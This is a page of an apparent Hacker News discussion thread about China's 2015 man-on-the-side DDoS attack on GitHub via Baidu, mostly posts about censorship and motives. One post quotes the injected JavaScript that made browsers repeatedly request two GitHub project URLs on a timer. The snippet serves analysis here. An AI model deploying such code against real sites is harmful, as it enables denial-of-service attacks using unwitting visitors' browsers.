Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

China's Man-On-the-Side Attack on GitHub

netresec.com

Post reply on HN
Print view View original

121–130 of 323 posts

Re: China's Man-On-the-Side Attack on GitHub

#121

Post by j42 »

jhedwards wrote: post #82
j42 wrote: post #23

Earlier quoted context omitted.

Actually, someone here (who I cannot remember) said quite eloquently yesterday that our biggest export--and "influence" on the world--is culture. For the first time I realized that pissing people off may, in fact be the objective as the other reply stated. China and Russia are both (quite unique) examples of countries with an unfathomable degree of control over their citizens. It can be hard to grasp occasionally, co…

> the entire reality they see and what they believe to be true is heavily distorted I have to disagree with others that this part of your comment is a bit too strong. I lived in China for two years and many people I talked to would say something like "We admire America because it is so free, our country is just so corrupt" or whisper something like "when the US says our human rights are bad, we agree."

I think the disillusionment exists, especially among the youth and democratically-minded. In my opinion, for such a regime to be successful in the modern day it must exist... that said, I would say the most telling aspect is how these particular individuals view their goals and/or definitions of "success."

America certainly isn't the democratic ideal, however in contrast it's apparent how a sustained cultural ideal can eventually swing the legislative tide (LBGT rights, marijuana legalization, et al.). From my experience, even the Chinese protests are government-sanctioned ("order through controlled disorder") and the communication happening on platforms such as Sina Weibo is generally devoid of any cultural or philosophical taboos.

I'm hesitant to be too strong about this because truthfully I haven't spent much time there in the most recent years, however I can't say I've seen any indication this has changed--everything points to more of the same, and the most recent Hong Kong protests provided a rather interesting look at how this cognitive dissonance plays out in an environment where maintaining such control (due to its international economic relevance) is more difficult.

Re: China's Man-On-the-Side Attack on GitHub

#122

Post by zaroth »

rattray wrote: post #119
ma2rten wrote: post #100

Earlier quoted context omitted.

actually both projects are still online on github. https://github.com/cn-nytimes https://github.com/greatfire

They are back on github now; they were indeed temporarily changed to return only alert("WARNING: malicious javascript detected on this domain"); (or something similar). I saw this myself.

From what I saw, it returned the alert only when the request had a trailing slash.

Re: China's Man-On-the-Side Attack on GitHub

#123

Post by captn3m0 »

rattray wrote: post #119
ma2rten wrote: post #100

Earlier quoted context omitted.

actually both projects are still online on github. https://github.com/cn-nytimes https://github.com/greatfire

They are back on github now; they were indeed temporarily changed to return only alert("WARNING: malicious javascript detected on this domain"); (or something similar). I saw this myself.

That was done to the urls with a trailing slash, which was being used (incorrectly) by the DDoS script.

Re: China's Man-On-the-Side Attack on GitHub

#124

Post by annnnd »

mraison wrote: post #10

I still don't really get it. What's the actual goal behind the attack? When the Chinese government decides to block a website, I can at least understand their motivations, as bad as they may be. But DDOSing Github just seems to be pissing the whole world off for a few hours without any actual long term consequences.

Testing their DDoS "weapons" may also be a good reason. Of course, protection will also get better, so it's a double edged sword (for them).

Re: China's Man-On-the-Side Attack on GitHub

#125

Post by valgaze »

rattray wrote: post #119
ma2rten wrote: post #100

Earlier quoted context omitted.

actually both projects are still online on github. https://github.com/cn-nytimes https://github.com/greatfire

They are back on github now; they were indeed temporarily changed to return only alert("WARNING: malicious javascript detected on this domain"); (or something similar). I saw this myself.

From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access.

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("http://libs.baidu.com/jquery/2.0.0/jquery.min.js">

\x3c/script>");

!window.jQuery && document.write("\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

    var a = new Date;

    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() {

    var a = unixtime() % NUM;

    get(url_array[a])
}

function get(a) {

    var b;

    $.ajax({

        url: a,

        dataType: "script",

        timeout: 1E4,

        cache: !0,

        beforeSend: function() {

            requestTime = (new Date).getTime()

        },

        complete: function() {

            responseTime = (new Date).getTime();

            b = Math.floor(responseTime - requestTime);

            3E5 > responseTime - startime && (r_send(b), count += 1)

        }

    })
}

function r_send(a) {

    setTimeout("r_send2()", a)
}

setTimeout("r_send2()", 2E3);

Re: China's Man-On-the-Side Attack on GitHub

#126

Post by wnoise »

pilgrim689 wrote: post #37

This is a really well article outlining how the man-on-the-side attack on Baidu is carried out. The only flaw here is the logical leap that goes from "Baidu is being hijacked" to "Baidu is being hijacked by the Chinese government"

The attack is not on Baidu, but via Baidu.

Whoever is the attacker appears to control the great firewall of China. Who else would that be but the Chinese government?

Re: China's Man-On-the-Side Attack on GitHub

#127

Post by j42 »

gbog wrote: post #71
greenleafjacob wrote: post #66

Earlier quoted context omitted.

> China and Russia are both (quite unique) examples of countries with an unfathomable degree of control over their citizens. It can be hard to grasp occasionally, coming from a western mindset but for the vast majority within said countries, the entire reality they see and what they believe to be true is heavily distorted--in that, it is defined by the vision of the oligarchy and information is carefully controlled t…

> [China] an unfathomable degree of control over their citizens You obviously haven't been there. I think Chinese gov have the same level of control over its citizens as France: very erratic, sometime works well, some people try to play with fire, but overall the Chinese are all but lobotomized robots in the hands of a few puppet masters. There's over 500 strikes a year in China, not counting all the ones not big eno…

China is a huge place, and I would agree with your definition of "erratic control" in the context of various non-industrial provinces...

That said, the reality is that most of what you are referring to is representative of "controlled dissent." It's not "martial law" or some kind of truly orwellian mind-control scheme... it's just the product of very tightly controlling the country's written/perceived history, with a significant focus on nationalizing "information" (ie, parse everything that comes in and out of the country via digital channels).

Once you see the way they handle the lesser-publicized issues (ie, Uighur/Han unification, Tiananmen, and Taiwan), you begin to realize that they do have the power to whitewash history on a generational scale, and considering that (as you mentioned) they take a fairly lax enforcement approach toward the "general populous," I'm curious to know what perceived ideological threats their best and brightest are working to mitigate. And how many people have simply "disappeared."

Re: China's Man-On-the-Side Attack on GitHub

#128

Post by palmer_eldritch »

westiseast wrote: post #95
gbog wrote: post #71

Earlier quoted context omitted.

> [China] an unfathomable degree of control over their citizens You obviously haven't been there. I think Chinese gov have the same level of control over its citizens as France: very erratic, sometime works well, some people try to play with fire, but overall the Chinese are all but lobotomized robots in the hands of a few puppet masters. There's over 500 strikes a year in China, not counting all the ones not big eno…

I have been there ;) You're misinterpreting the nature of control. Yes, there are protests, mostly because the government lets them happen. It helps people let off steam, it gives the government an indication of how people feel, and quite often there are conflicting interests which the Party can rise above (remember, government and the Party are not the same thing). So, often it's a bunch of workers protesting agains…

> but today they might let the protest get a bit wild if they want to allow the protesters a bit of leeway, and then those untrained, poorly equipped policemen will be screwed.

I'd say most often than not, when a government lets a protest get wild it's because they want to justify the harsh repression that's coming or at least that when the time comes for decision, they won't side with the protestors.

Or they're just in over their head but in that case, they don't let it get wild, they just loose control.

Re: China's Man-On-the-Side Attack on GitHub

#129

Post by jonny_eh »

jfoutz wrote: post #47
meritt wrote: post #13

Earlier quoted context omitted.

They're probably demonstrating that the Chinese government can leverage nearly the entire Chinese internet userbase to DDOS anyone they want, at any time, and the easiest protection mechanism is to block Chinese IPs. Which is exactly want they want.

Damn! I just realized, github is getting a full 1% of baidu's traffic. I wonder if they're getting the search terms. I bet they're getting cookies. The ultimate mitigation might be google paying to show the results instead of baidu. Or just showing their own ads.

Github wouldn't get baidu's cookies since they're different domains.

Re: China's Man-On-the-Side Attack on GitHub

#130

Post by Zancarius »

madez wrote: post #9
themartorana wrote: post #8

Earlier quoted context omitted.

"... should be the primary duty of our government." Fixed it? Although it's interesting to think about. Actual government retaliation would/could be seen as war provocation, especially if China holds on to any plausible deniability. Cyber warfare is currently very hard to prove, but even harder to hold accountable for. Even with DPRK, and our little shut-down-the-"internet" quiet retaliation thing that happened a few…

A government doesn't have to react offensive against threats. It's also possible to provide defensive measures. In this specific case it could provide infrastructure, computing resources and personal to fend off the attack.

Actually, that would be interesting...

Passing some sort of funding bill for the defense of US companies against DDoS attacks might be the only immediate option that could be done on a short time frame. Otherwise, it could (potentially) be something like the government holding on to spare capacity in some way/shape/form that it leases to affected companies for a very low rate.

As we move on further into the 21st century, I can't see this as something that's going to go away. We definitely need to plan ahead.

Post reply on HN